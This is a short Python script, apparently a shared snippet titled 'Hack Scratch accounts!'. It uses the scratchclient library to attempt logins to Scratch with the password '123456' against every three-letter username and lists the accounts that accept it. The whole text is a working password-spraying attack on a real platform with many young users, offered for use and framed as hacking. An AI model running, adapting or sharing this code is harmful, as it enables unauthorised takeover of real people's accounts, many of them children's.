Hack Scratch accounts! (Python)

from scratchclient import ScratchSession as login, ScratchExceptions

def get_usernames():
    usernames = list()
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    for l1 in alphabet:
        for l2 in alphabet:
            for l3 in alphabet:
                    usernames.append(l1 + l2 + l3)
    return usernames

password = "123456"
hacked = list()
IncorrectPassword = ScratchExceptions.InvalidCredentialsException

for username in get_usernames():
    try:
        session = login(username, password)
        hacked.append(username)
        print(username)
    except IncorrectPassword:
        pass